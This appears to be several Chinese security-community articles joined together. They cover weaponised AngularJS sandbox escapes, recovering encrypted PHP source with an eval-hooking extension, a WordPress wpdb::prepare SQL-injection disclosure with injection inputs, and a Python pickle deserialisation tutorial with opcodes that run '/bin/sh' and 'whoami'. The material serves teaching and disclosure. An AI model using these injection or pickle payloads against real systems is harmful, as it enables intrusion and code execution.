在实际操作中，如果您想将Angular沙箱逃逸武器化时，我发现最好不要依赖jQuery。大多数情况下，沙箱逃逸可以顺利进行，但有时也会出现障碍。如果您使用纯JavaScript，您不会依赖于正在使用的库的版本，从而确保jQuery更新不会使您的XSS变得无用。希望这篇文章对大家有用，如果你有任何反馈，请随时联系！
# 参考
沙箱逃逸:
<https://portswigger.net/blog/xss-without-html-client-side-template-injection-with-angularjs>
Gmail钓鱼页面:
<https://raw.githubusercontent.com/ashanahw/Gmail_Phishing/master/index.php>
翻译文章：https://medium.com/redteam/weaponising-angularjs-bypasses-4e59790a730a | 社区文章 |
# 前言
php是一种解释型脚本语言.
与编译型语言不同,php源代码不是直接翻译成机器语言.而是翻译成中间代码(OPCODE) ,再由解释器(ZEND引擎)对中间代码进行解释运行 .
在php源代码的保护在原理可以分为3大类.
* 源代码混淆(编码)
* OPCODE混淆(编码)
* 修改解释引擎(虚拟机)
在部署上可以分为2大类.
* 无扩展
* 有扩展
下面分析下各种加密方案的实现方法
# PHP 加密方案分析
## 无扩展方案
### 源代码混淆
无扩展的加密在一些小开发者比较常见。
这种源代码保护方式侵入性小，无需对服务器做额外的配置，兼容性较强。
这种情况混淆后的源代码还原非常简单，可完全还原出源代码。 ~~有时连注释都会保留~~ (x 我觉得这种混淆都不能称之为加密
基本流程 压缩代码->混淆变量函数类名->使用简单函数和方法进行编码加密 例:base64 异或
#### 手工解密
看到这种的php不要慌 这种处理后的文件 解密流程的变量和函数名使用了大量的非打印字符 按照正常的流程就可以
ctrl+alt+l 快捷键 格式化代码 (这里使用的PhpStorm 其他IDE 格式化遇到特殊符号可能出问题 这里提前调整好了文件编码)
这里有一个php的特性 php中的base64遇到非base64表中字符会直接忽略 不会影响解码
注: PHP7 遇到空字符可能会抛出error 可以使用php5.6执行 (这里有一个兼容性问题 )
遇到这种加密最简单的方法就是找文件中最后一步执行的函数 直接把内容打印出来
这种编码方法最后一步肯定要使用eval执行还原后的php代码 所以打印最后一个函数基本上php代码就会全部出来 (x 前面操作一大顿毫无卵用
注: 有保护方案也使用了call_user_func或call_user_func_array间接调用eval
成功还原源代码 <?php phpinfo();?>
#### 自动化通用解密
PHP提供了强大的扩展功能 可以直接通过编写php扩展hook eval相关函数 获取执行的源代码
HOOK php zend引擎的 zend_compile_string zend_include_or_eval 函数达到目的
这里演示的是 hook zend_compile_string 函数
/* $Id$ */
#include "php.h"
#include "ext/standard/info.h"
static zend_op_array* (*old_compile_string)(zval *source_string, char *filename TSRMLS_DC);
static zend_op_array* evalhook_compile_string(zval *source_string, char *filename TSRMLS_DC)
{
if(strstr(filename, "eval()'d code")) {
printf("\n------eval-------\n%s\n------eval-------\n",Z_STRVAL_P(source_string));
}
return old_compile_string(source_string, filename TSRMLS_CC);
}
PHP_MINIT_FUNCTION(evalhook)
{
return SUCCESS;
}
PHP_MSHUTDOWN_FUNCTION(evalhook)
{
return SUCCESS;
}
PHP_RINIT_FUNCTION(evalhook)
{
old_compile_string = zend_compile_string;
zend_compile_string = evalhook_compile_string;
return SUCCESS;
}
PHP_RSHUTDOWN_FUNCTION(evalhook)
{
zend_compile_string = old_compile_string;
return SUCCESS;
}
PHP_MINFO_FUNCTION(evalhook)
{
php_info_print_table_start();
php_info_print_table_row(2, "eval hooking", "enabled");
php_info_print_table_end();
}
zend_function_entry evalhook_functions[] = {
ZEND_FE_END
};
zend_module_entry evalhook_module_entry = {
STANDARD_MODULE_HEADER,
"evalhook",
evalhook_functions,
PHP_MINIT(evalhook),
PHP_MSHUTDOWN(evalhook),
PHP_RINIT(evalhook),
PHP_RSHUTDOWN(evalhook),
PHP_MINFO(evalhook),
"0.0.1-dev",
STANDARD_MODULE_PROPERTIES
};
ZEND_GET_MODULE(evalhook)
成功还原源代码
## PHP扩展方案
### 源代码混淆
使用php扩展的代码混淆和无扩展代码混淆比较相似，只不过是把代码还原过程从php代码转到了php扩展。
同样是使用aes des
异或等加密方法直接加密php代码，HOOK翻译php的函数在翻译PHP文件前对文件进行解密操作。这种方案也可以完全还原出源代码。在无其他混淆和压缩时甚至还会保留注释。
典型开源项目：[php-beast](https://github.com/liexusong/php-beast)
[tonyenc](https://github.com/lihancong/tonyenc) [screw-plus](https://github.com/del-xiong/screw-plus)
#### 手工解密
这里以beast为例.
首先在php的扩展目录下找到beast.so
beast的加密方案会把加密key编译进扩展中. 我们只需要寻找key就可以完成解密
beast由于是开源项目.有现成的符号表和源码这使得反编译寻找key变得非常简单.
但这样有点太简单了. 所以这里演示的是在没有源码的情况下使用IDA分析解密流程.
首先在导入表找到zend_compile_file
这个函数会将php文件翻译成opcode
因此大部分php加密扩展都需要hook这个函数达到拦截php文件载入和替换php文件的功能
继续跟入
发现有两个函数
一般在这种php加密扩展设计时会对这个函数有两次操作：
一个是在启动时hook 这个函数，一个是在停止时恢复这个函数。
继续跟入启动hook
显然文件处理逻辑在cgi_compile_file内
跟踪文件句柄
decrypt_file函数的参数存在文件句柄 所以这个函数应该就是文件解密函数
根据代码可以看出beast 加密文件的结构
| encrypt_file_header_sign 文件头标记（不固定 可修改）| reallen文件长度 int 4字节 | expire 到期时间
int 4字节| entype 加密方式 int 4字节| 加密后文件|
分析文件头发现该文件加密方式为 02
跟入beast_get_encrypt_algo
2对应的是 aes_handler_ops
使用了AES 128 ECB加密模式
直接提取key参数内容
长度刚好16位
到这一步就成功拿到了加密秘钥
使用拿到的KEY就可以解密PHP文件
#### 自动化通用解密
编写php扩展 HOOK zend_compile_file函数
beast的加密不会对php文件做额外的操作 解密文件与加密前原文件完全一致
php注释和原格式都会保留
注意: 这里扩展加载顺序问题 建议直接修改php源码
Zendzend_language_scanner.c
ZEND_API zend_op_array *compile_file
### opcode
php会将源代码翻译成类似汇编的二进制中间操作码再交给zend引擎执行。
之前的介绍的都是编译之前对php源代码的直接操作。这里是对opcode的操作，跳过翻译过程，直接把现成的opcode交给zend引擎执行(不同版本PHP引擎编译出的opcode可能会有兼容性问题)。
这种php代码防护方法 只能hook zend_execute 拿到opcode。 不可能直接得到原本的源码，只能通过反编译尽可能的还原源代码。
大部分商业php保护方案都使用这种可靠的方案为基础 _ZendGuard(zend) _SourceGuardian(SG) IonCube (IC)
Swoole Compiler
上面的方案有的还对zend引擎进行了魔改，使翻译出的opcode只能在修改后的引擎执行,进一步增强了安全性。
#### 还原代码
hook zend_execute 拿到opcode
使用对应版本的php操作码反推php代码
~~太菜了不会反编译)~~
## 附录
### PHP扩展编译
docker run -it --rm -v /mnt/hgfs/tmpssd/php-eval-hook/:/ext/ php:5.6 /bin/bash
apt-get update
apt install libtool
phpize
phpize 生成Makefile
./configure --enable-evalhook
配置编译选项 启用扩展
最后执行make 编译扩展
编译好的扩展会放在./modules/ 目录下
使用扩展
php -d extension=扩展位置 -f 文件
可以重复使用-d extension 加载多个扩展
## 总结
在选用PHP源码保护方案时 尽量选择opcode或虚拟机方案
源代码混淆类只能对源代码获取和阅读增加一点困难 在加密扩展可被攻击者获取到时并不能起到保护作用
[PHP代码审计入门指南](https://www.yuque.com/burpheart/phpaudit/readme?view=doc_embed)
## 参考
[php内核剖析](https://www.kancloud.cn/nickbai/php7/363273)
[从Zend虚拟机分析PHP加密扩展](https://blog.zsxsoft.com/post/40)
[通用加密php文件还原方法](https://segmentfault.com/a/1190000007035295) | 社区文章 |
`先知技术社区独家发表本文，如需要转载，请先联系先知技术社区授权；未经授权请勿转载。`
### 投稿
* 直接右上角`【个人中心】`-`【创建新帖子】`-`【节点模块】`选择`【技术文章】`。投稿时麻烦提供下可联系到作者的IM，方便审核沟通。（如未收到回复，联系wx：50421961）
* Ps: `MD编辑器支持图片拖拽上传、Word文档图片直接复制上传、截图复制自动上传 (๑•̀ㅂ•́)و✧`
* * *
WordPress 4.8.3中修复了一个重要的SQL注入漏洞。漏洞是今年9月20日由Hacker-One报告的。本文主要讲了漏洞的技术细节和解决方法。
## 升级到最新版本
网站管理员应该升级WordPress到4.8.3版本并更新重写`$wpdb`的所有插件，就可以预防此类问题。为客户机升级wp-db.php，同时可能需要修改一些防火墙规则，比如拦截`%s` 和其他`sprintf()` 值。
## 插件开发者应该？
一般来说 `->prepare()`检查过滤`$query`参数，不会将用户输入传递到查询端，如：
$where = $wpdb->prepare(" WHERE foo = %s", $_GET['data']);
$query = $wpdb->prepare("SELECT * FROM something $where LIMIT %d, %d", 1, 2);
$where = "WHERE foo = '" . esc_sql($_GET['data']) . "'";
$query = $wpdb->prepare("SELECT * FROM something $where LIMIT %d, %d", 1, 2);
以上两种方法从概念是讲都是不安全的，要分别构建查询和参数，然后一次性查询
安全的查询方法为：
$where = "WHERE foo = %s";
$args = [$_GET['data']];
$args[] = 1;
$args[] = 2;
$query = $wpdb->prepare("SELECT * FROM something $where LIMIT %d, %d", $args);
## 漏洞
`WPDB::prepare`源码（4.8.2之前版本）：
public function prepare( $query, $args ) {
if ( is_null( $query ) )
return;
// This is not meant to be foolproof -- but it will catch obviously incorrect usage.
if ( strpos( $query, '%' ) === false ) {
_doing_it_wrong( 'wpdb::prepare', sprintf( __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9.0' );
}
$args = func_get_args();
array_shift( $args );
// If args were passed as an array (as in vsprintf), move them up
if ( isset( $args[0] ) && is_array($args[0]) )
$args = $args[0];
$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
$query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
$query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
$query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s
array_walk( $args, array( $this, 'escape_by_ref' ) );
return @vsprintf( $query, $args );
}
1、用`vsprintf`（与`sprintf`基本等价）的值来替换占位符；
2、用`str_replace`来适当地引用占位符；
3、如果传递了一个参数，而这个参数是数组的话，用数组的值来替换参数。
这意味着调用`$wpdb->prepare($sql, [1, 2])` 与调用`$wpdb->prepare($sql, 1, 2)`是等价的。
最初报告的漏洞依赖与下面的服务端代码：
$items = implode(", ", array_map([$wpdb, '_real_escape'], $_GET['items']));
$sql = "SELECT * FROM foo WHERE bar IN ($items) AND baz = %s";
$query = $wpdb->prepare($sql, $_GET['baz']);
漏洞利用`vsprintf`的特征来允许绝对引用参数，例子如下：
vsprintf('%s, %d, %s', ["a", 1, "b"]); // "a, 1, b"
vsprintf('%s, %d, %1$s', ["a", 2, "b"]); // "a, 2, a"
注意`%n$s`不会读下一个参数，但是会读第n个位置的参数。可以根据这个特性在原始查询中进行注入。假设传递下面的信息到请求中：
$_GET['items'] = ['%1$s'];
$_GET['baz'] = "test";
查询会变成
SELECT * FROM foo WHERE bar IN ('test') AND baz = 'test';
我们成功地改变了查询的本意。
最初的漏洞报告中还有一个关键的信息是可以把这个变成成熟的SQL注入。Sprintf也会接受其他类型的参数，%c与chr()含义相同，可以把小叔变成字符，所以攻击者可以：
$_GET['items'] = ['%1$c) OR 1 = 1 /*'];
$_GET['baz'] = 39;
ASCII表中`39`代表`’`（单引号），所以查询就变成了这样：
SELECT * FROM foo WHERE bar IN ('') OR 1 = 1 /*' AND baz = 'test';
注入就完成了。
这个过程看似很复杂，需要提前准备好输入的参数等，实际上该漏洞也存在于核心文件/wp-includes/meta.php 中：
if ( $delete_all ) {
$value_clause = '';
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
$value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value );
}
$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key ) );
}
## 最早的补丁
WordPress4.8.2发布时，就包含上述问题的一个补丁。补丁整个包含在`WPDB::prepare()`中，补丁只加了1行代码：
$query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query );
这1行代码做了2件事情。
1. 是移除了除`%d`，`%s`，`%F`之外的`sprintf`令牌，因为漏洞是依赖`%c`的，因此使漏洞无效。
2. 是移除了位置替换的能力，即`%1$s`这样的参数就无效了。
这引起了开发人员的不满，因为WordPress在官方文档中说只能使用`%d`，`%s`，`%F`。即使官方文档是这么写的，上百万的第三方查询代码都使用了前面的语法规则。
WordPress的回应是“won’t fix, sorry”，并以安全为由拒绝提供更多细节。
## 最初补丁的第一个问题
漏洞是传递用户输入到prepare的服务端。最初漏洞的POC是这样的，安全查询代码如下：
$db->prepare("SELECT * FROM foo WHERE name= '%4s' AND user_id = %d", $_GET['name'], get_current_user_id());
4.8.2中的变化是`%4s`会被重写成`%%4s`，也就是说`%d`会反弹到`$_GET['name']`，给了攻击者用户`id`的机会。这可以被用来进行权限提升攻击。
Wordpress的回应是：“thank you, we don’t support that”。
## 全面攻击
然后作者设计了一个不同的POC，利用另一个重要的事实来证明该漏洞不是%1$s，而是传递用户输入到prepare查询端。Meta.php文件代码如下：
if ( $delete_all ) {
$value_clause = '';
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
$value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value );
}
$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key ) );
}
输入：
$meta_value = ' %s ';
$meta_key = ['dump', ' OR 1=1 /*'];
产生了下面的查询：
SELECT type FROM table WHERE meta_key = 'dump' AND meta_value = '' OR 1=1 /*'
成功注入了核心文件，$meta_value 和 $meta_key都来自于用户的输入。会产生下面的赋值子句：
AND meta_value = ' %s '
未引用的`%s`通过prepare被引用的`%`代替，第二次调用`->prepare()`把`clause`变成`AND meta_value = '
'%s' '`，就可以注入了。
作者强调该漏洞不能在`WPDB::prepare()`修复，但是是meta.php中的问题。可以通过预防`double prepare
calls`缓解该漏洞。但是不能修复原始漏洞。
## 简单补丁
简单的补丁不是传递用户输入的`$query`参数到meta.php中的`WPDB::prepare()`。传递用户输入到`$query`是错误的。
## 缓解补丁
下一步是在预查询中引用占位符，然后在执行查询前恢复占位符，这个补丁已经有了。基本上，补丁会修改`WPDB::prepare()`把随机字数穿用%占位符代替，比如：
$query = str_replace('%', "{$this->placeholder_escape}", $query );
然后，在`WPDB::_do_query()`去除占位符来恢复最初的用户的用户输入。
我仍然认为传递用户输入到`prepare`的查询端是存在潜在危险的而且是不安全的。即使你解决了已知的安全漏洞，`double-preparing`字符串是及其危险的，因为`prepare`的结果会传递到另一个。
## 正确的补丁
正确的补丁应该是抛弃整个`prepare`机制。像正常的查询那样，返回一个`statement`或`query`的对象，或者直接执行查询。这种方式可以预防`double
prepare`字符串的情况。值得一提的是这将会是WP的主要变化。其他平台已经有成功的先例了，比如PHPBB经历了同样的事情，从大规模的SQL注入漏洞到几乎没有SQL注入漏洞。也不需要很快解决，可以与现有的API并行处理，慢慢地去取代老的API。目前的系统在设计之处就是不安全的，但这也不意味着会经常被黑，但是你要尽量去让它不被黑。最好使用默认安全的设计，并让不安全成为特例。其中最佳的实践方法是使用PDO/MySQLi和real
prepared statements。这些变化并不能防止被误用，但是会让误用变得更难。
<https://blog.ircmaxell.com/2017/10/disclosure-wordpress-wpdb-sql-injection-technical.html> | 社区文章 |
# 浅析python反序列化
### python的序列化和反序列化是什么
python的序列化和反序列化 是将一个类对象向字节流转化从而进行存储 和 传输 然后使用的时候 再将字节流转化回原始的对象的一个过程
我们可以用代码 来展示出这个序列化 和反序列化 的过程
import pickle
class Person():
def __init__(self):
self.age=18
self.name="Pickle"
p=Person()
opcode=pickle.dumps(p)
print(opcode)
#结果如下
#b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x06Pickle\x94ub.'
P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)
#结果如下
#The age is:18 The name is:Pickle
`pickle.dumps(obj[, protocol])`
函数的功能：将obj对象序列化为string形式，而不是存入文件中。
参数讲解：
obj：想要序列化的obj对象。
protocal：如果该项省略，则默认为0。如果为负值或HIGHEST_PROTOCOL，则使用最高的协议版本。
`pickle.loads(string)`
函数的功能：从string中读出序列化前的obj对象。
string：文件名称。
参数讲解
【注】 dump() 与 load() 相比 dumps() 和 loads()
还有另一种能力：dump()函数能一个接着一个地将几个对象序列化存储到同一个文件中，随后调用load()来以同样的顺序反序列化读出这些对象。
`pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict")`
从文件中读取二进制字节流，将其反序列化为一个对象并返回。
`pickle.loads(data, *, fix_imports=True, encoding="ASCII", errors="strict")`
从data中读取二进制字节流，将其反序列化为一个对象并返回。
在其中 我们可以看到 我们对象的属性 name 和 age 和我们所属的类 都已经存储在里面了
首先使用了`pickle.dumps()`函数将一个Person对象序列化成二进制字节流的形式。然后使用`pickle.loads()`将一串二进制字节流反序列化为一个Person对象。
那么反序列化的代码演示如下
import pickle
class People(object):
def __init__(self,name = "fake_s0u1"):
self.name = name
def say(self):
print "Hello ! My friends"
a=People()
c=pickle.dumps(a)
d = pickle.loads(c)
d.say()
其输出就是 hello ！ my friends
我们可以看出 与php的序列化 其实是大同小异的
当我们在其反序列化之前 将people删除了 那么我们在运行的过程中就会因为对象在当前的运行环境中 没有找到这个类而报错 从而反序列化失败
#### 能够序列化的对象
在Python的[官方文档](https://docs.python.org/zh-cn/3.7/library/pickle.html#what-can-be-pickled-and-unpickled)中，对于能够被序列化的对象类型有详细的描述，如下
* `None`、`True` 和 `False`
* 整数、浮点数、复数
* `str`、`byte`、`bytearray`
* 只包含可打包对象的集合，包括 tuple、list、set 和 dict
* 定义在模块顶层的函数（使用 [def]()`定义，[lambda]()` 函数则不可以）
* 定义在模块顶层的内置函数
* 定义在模块顶层的类
* 某些类实例，这些类的 [**dict**]()`属性值或 [__getstate__()]()` 函数的返回值可以被打包（详情参阅 [打包类实例](https://docs.python.org/zh-cn/3.7/library/pickle.html#pickle-inst) 这一段）
对于不能序列化的类型，如lambda函数，使用pickle模块时则会抛出 [PicklingError]()`` 异常。
#### **序列化过程：**
(1)从对象提取所有属性,并将属性转化为名值对
(2)写入对象的类名
(3)写入名值对
#### **反序列化过程：**
(1)获取 pickle 输入流
(2)重建属性列表
(3)根据类名创建一个新的对象
(4)将属性复制到新的对象中
### python 是如何做到序列化 和 反序列化的
#### 几个重要函数
python为我们提供了两个比较重要的库pickle 和 cpickle 后者 是底层使用c语言书写 速度是pickle 的1000倍 但是接口相同
##### 什么是pickle
pickle是Python中一个能够序列化和反序列化对象的模块。和其他语言类似，Python也提供了序列化和反序列化这一功能，其中一个实现模块就是pickle。在Python中，
_“Pickling”_ 是将 Python 对象及其所拥有的层次结构转化为一个 **二进制字节流** 的过程，也就是我们常说的序列化，而
_“unpickling”_ 是相反的操作，会将字节流转化回一个对象层次结构。
当然在Python
中并不止pickle一个模块能够进行这一操作，更原始的序列化模块如`marshal`，同样能够完成序列化的任务，不过两者的侧重点并不相同，`marshal`存在主要是为了支持
Python 的`.pyc`文件。现在开发时一般首选pickle。
pickle实际上可以看作一种 **独立的语言**
，通过对`opcode`的编写可以进行Python代码执行、覆盖变量等操作。直接编写的`opcode`灵活性比使用pickle序列化生成的代码更高，并且有的代码不能通过pickle序列化得到（pickle解析能力大于pickle生成能力）。
既然opcode能够执行Python代码，那自然就免不了安全问题。以下是Python在pickle文档中的警告。
##### 序列化
pickle.dump(文件)
pickle.dumps(字符串)
我们可以查看他的源码 写了一个while循环 用于挨个读取字符 然后将其写到dispatch之中
##### 反序列化
pickle.load(文件)
pickle.loads(字符串)
他的底层 是通过PVM来实现的 即为python虚拟机 它是实现python序列化 和反序列化的最根本的东西
#### PVM的组成
他是由三个部分组成引擎（或者叫指令分析器），栈区、还有一个 Memo （可以称为标签区）
##### 引擎的作用
从头开始读取流中的操作码和参数 并对其进行解释处理 在这个过程中 会改变栈区 和标签区 直到遇到.这个结束符后停止 处理结束之后 会到达栈顶
形成并返回反序列化的对象
##### 栈区的作用
作为流数据处理过程中的暂存区 在不断的进出过程中 完成对数据流的反序列化 并最终在栈上生成反序列化的结果 由python的`list` 实现
##### 标签区的作用
如同其名 是数据的一个索引 或者 标记 由python的`dict` 实现 为PVM整个生命周期提供存储
这个图片可以比较好的解释
当前用于 pickling 的协议共有 5 种。使用的协议版本越高，读取生成的 pickle 所需的 Python 版本就要越新。
* v0 版协议是原始的“人类可读”协议，并且向后兼容早期版本的 Python。
* v1 版协议是较早的二进制格式，它也与早期版本的 Python 兼容。
* v2 版协议是在 Python 2.3 中引入的。它为存储 [new-style class](https://docs.python.org/zh-cn/3.7/glossary.html#term-new-style-class) 提供了更高效的机制。欲了解有关第 2 版协议带来的改进，请参阅 **[PEP 307]()** 。
* v3 版协议添加于 Python 3.0。它具有对 [bytes]()`` 对象的显式支持，且无法被 Python 2.x 打开。这是目前默认使用的协议，也是在要求与其他 Python 3 版本兼容时的推荐协议。
* v4 版协议添加于 Python 3.4。它支持存储非常大的对象，能存储更多种类的对象，还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息，请参阅 **[PEP 3154]()** 。
**pickle协议是向前兼容的**
，0号版本的字符串可以直接交给pickle.loads()，不用担心引发什么意外。下面我们以V0版本为例，介绍一下常见的opcode
注意opcode的书写规范
(1)操作码是单字节的
(2)带参数的指令用换行符定界
#### 常用opcode几个重点关注的
MARK = b'(' # push special markobject on stack
STOP = b'.' # every pickle ends with STOP
POP = b'0' # discard topmost stack item
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # push float object; decimal string argument
INT = b'I' # push integer or bool; decimal string argument
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # push None
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # " " " ; " " " " stack
REDUCE = b'R' # apply callable to argtuple, both on stack
STRING = b'S' # push string; NL-terminated string argument
BINSTRING = b'T' # push string; counted binary string argument
SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE = b'X' # " " " ; counted UTF-8 string argument
APPEND = b'a' # append stack top to list below it
BUILD = b'b' # call __setstate__ or __dict__.update()
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
DICT = b'd' # build a dict from stack items
EMPTY_DICT = b'}' # push empty dict
APPENDS = b'e' # extend list on stack by topmost stack slice
GET = b'g' # push item from memo on stack; index is string arg
BINGET = b'h' # " " " " " " ; " " 1-byte arg
INST = b'i' # build & push class instance
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # build list from topmost stack items
EMPTY_LIST = b']' # push empty list
OBJ = b'o' # build & push class instance
PUT = b'p' # store stack top in memo; index is string arg
BINPUT = b'q' # " " " " " ; " " 1-byte arg
LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg
SETITEM = b's' # add key+value pair to dict
TUPLE = b't' # build tuple from topmost stack items
EMPTY_TUPLE = b')' # push empty tuple
SETITEMS = b'u' # modify dict by adding topmost key+value pairs
BINFLOAT = b'G' # push float; arg is 8-byte float encoding
TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py
# Protocol 2
PROTO = b'\x80' # identify pickle protocol
NEWOBJ = b'\x81' # build object by applying cls.__new__ to argtuple
EXT1 = b'\x82' # push object from extension registry; 1-byte index
EXT2 = b'\x83' # ditto, but 2-byte index
EXT4 = b'\x84' # ditto, but 4-byte index
TUPLE1 = b'\x85' # build 1-tuple from stack top
TUPLE2 = b'\x86' # build 2-tuple from two topmost stack items
TUPLE3 = b'\x87' # build 3-tuple from three topmost stack items
NEWTRUE = b'\x88' # push True
NEWFALSE = b'\x89' # push False
LONG1 = b'\x8a' # push long from < 256 bytes
LONG4 = b'\x8b' # push really big long
_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]
# Protocol 3 (Python 3.x)
BINBYTES = b'B' # push bytes; counted binary string argument
SHORT_BINBYTES = b'C' # " " ; " " " " < 256 bytes
# Protocol 4
SHORT_BINUNICODE = b'\x8c' # push short string; UTF-8 length < 256 bytes
BINUNICODE8 = b'\x8d' # push very long string
BINBYTES8 = b'\x8e' # push very long bytes string
EMPTY_SET = b'\x8f' # push empty set on the stack
ADDITEMS = b'\x90' # modify set by adding topmost stack items
FROZENSET = b'\x91' # build frozenset from topmost stack items
NEWOBJ_EX = b'\x92' # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL = b'\x93' # same as GLOBAL but using names on the stacks
MEMOIZE = b'\x94' # store top of the stack in memo
FRAME = b'\x95' # indicate the beginning of a new frame
# Protocol 5
BYTEARRAY8 = b'\x96' # push bytearray
NEXT_BUFFER = b'\x97' # push next out-of-band buffer
READONLY_BUFFER = b'\x98' # make top of stack readonly
name | op | params | describe | e.g.
---|---|---|---|---
MARK | ( | null | 向栈顶push一个MARK |
STOP | . | null | 结束 |
POP | 0 | null | 丢弃栈顶第一个元素 |
POP_MARK | 1 | null | 丢弃栈顶到MARK之上的第一个元素 |
DUP | 2 | null | 在栈顶赋值一次栈顶元素 |
FLOAT | F | F [float] | push一个float | F1.0
INT | I | I [int] | push一个integer | I1
NONE | N | null | push一个None |
REDUCE | R | [callable] [tuple] R | 调用一个callable对象 | crandom\nRandom\n)R
STRING | S | S [string] | push一个string | S 'x'
UNICODE | V | V [unicode] | push一个unicode string | V 'x'
APPEND | a | [list] [obj] a | 向列表append单个对象 | ]I100\na
BUILD | b | [obj] [dict] b | 添加实例属性（修改`__dict__`） |
cmodule\nCls\n)R(I1\nI2\ndb
GLOBAL | c | c [module] [name] | 调用Pickler的`find_class`，导入module.name并push到栈顶
| cos\nsystem\n
DICT | d | MARK [[k] [v]...] d | 将栈顶MARK以前的元素弹出构造dict，再push回栈顶 | (I0\nI1\nd
EMPTY_DICT | } | null | push一个空dict |
APPENDS | e | [list] MARK [obj...] e | 将栈顶MARK以前的元素append到前一个的list | ](I0\ne
GET | g | g [index] | 从memo获取元素 | g0
INST | i | MARK [args...] i [module] [cls] |
构造一个类实例（其实等同于调用一个callable对象），内部调用了`find_class` | (S'ls'\nios\nsystem\n
LIST | l | MARK [obj] l | 将栈顶MARK以前的元素弹出构造一个list，再push回栈顶 | (I0\nl
EMPTY_LIST | ] | null | push一个空list |
OBJ | o | MARK [callable] [args...] o | 同INST，参数获取方式由readline变为stack.pop而已 |
(cos\nsystem\nS'ls'\no
PUT | p | p [index] | 将栈顶元素放入memo | p0
SETITEM | s | [dict] [k] [v] s | 设置dict的键值 | }I0\nI1\ns
TUPLE | t | MARK [obj...] t | 将栈顶MARK以前的元素弹出构造tuple，再push回栈顶 | (I0\nI1\nt
EMPTY_TUPLE | ) | null | push一个空tuple |
SETITEMS | u | [dict] MARK [[k] [v]...] u | 将栈顶MARK以前的元素弹出update到前一个dict |
}(I0\nI1\nu
S : 后面跟的是字符串
( ：作为命令执行到哪里的一个标记
t ：将从 t 到标记的全部元素组合成一个元祖，然后放入栈中
c ：定义模块名和类名（模块名和类名之间使用回车分隔）
R ：从栈中取出可调用函数以及元祖形式的参数来执行，并把结果放回栈中
. ：点号是结束符
#### 反序列化的流程
序列化是将一个对象 转化为字符串的过程 我们通过pickle 来实现这个过程
我们举一个栗子
opcode=cos
system
(S'/bin/sh'
tR.
我们可以借助上面的操作码 来看一下这个需要怎样来执行
第一行的c 后面是模块名 换行之后是类名 于是就将os.system放入栈中
然后的( 是标记符 我们将一个标记放入栈中
S的后面是字符串 放入栈中
t将栈中标记之前的内容取出来转化成元组 再存入栈中（’/bin/sh’,）随后 标记消失
然后 R将元组取出 并将callable取出 将元组作为callable的参数 并执行 对应这里就是os.system('/bin/sh')
然后再将结果存入栈中
但是并不是所有的对象都能使用 pickle 进行序列化和反序列化，比如说 文件对象和网络套接字对象以及代码对象就不可以
#### pickletools
我们可以使用 pickletools模块 将opcode转化成方便我们阅读的形式
import pickletools
opcode=b'''cos
system
(S'/bin/sh'
tR.'''
pickletools.dis(opcode)
'''
输出
0: c GLOBAL 'os system'
11: ( MARK
12: S STRING '/bin/sh'
23: t TUPLE (MARK at 11)
24: R REDUCE
25: . STOP
highest protocol among opcodes = 0
'''
### 与php反序列化的对比
相比于 PHP 反序列化必须要依赖于当前代码中类的存在以及方法的存在，Python 凭借着自己彻底的面向对象的特性完胜 PHP ，Python
除了能反序列化当前代码中出现的类(包括通过 import的方式引入的模块中的类)的对象以外，还能利用其彻底的面向对象的特性来反序列化使用 types
创建的匿名对象，这样的话就大大拓宽了我们的攻击面
### 手搓opcode
#### 函数执行
##### R操作符
对应函数如下
def load_reduce(self):
stack = self.stack
args = stack.pop()
func = stack[-1]
stack[-1] = func(*args)
弹出栈作为函数执行的参数 参数需要是元组形式 随后取栈中最后一个元素作为函数 将指向结果赋值给此元素
cos\nsystem\n
##### i操作符
读取下面两行分别为module和name 然后 利用 find_class 寻找对应的方法 pop_mark 获取参数
i操作符将寻找前面的mark来闭合 中间的数据作为元组 将其作为函数参数
(X\x06\x00\x00\x00whoamiios\nsystem\n.
X向后读取四个字符串 将我们的whoami命令压入栈中 i将向后读取 模块与方法os.system 将前面的参数执行
pop_mark的代码如下
先将当前栈赋值给items 然后弹出栈内元素 随后 将这个栈赋值给当前栈 返回items
##### o操作码
pop_mark我们上面看到了 就是可以弹出栈内的元素 这里的args就是 先弹出栈中的一个元素作为参数 然后 再弹出第一个元素作为函数
最后 使用instantiate函数进行自执行
可以如下构造
b"(cos\nsystem\nX\x06\x00\x00\x00whoamio."
##### b操作符
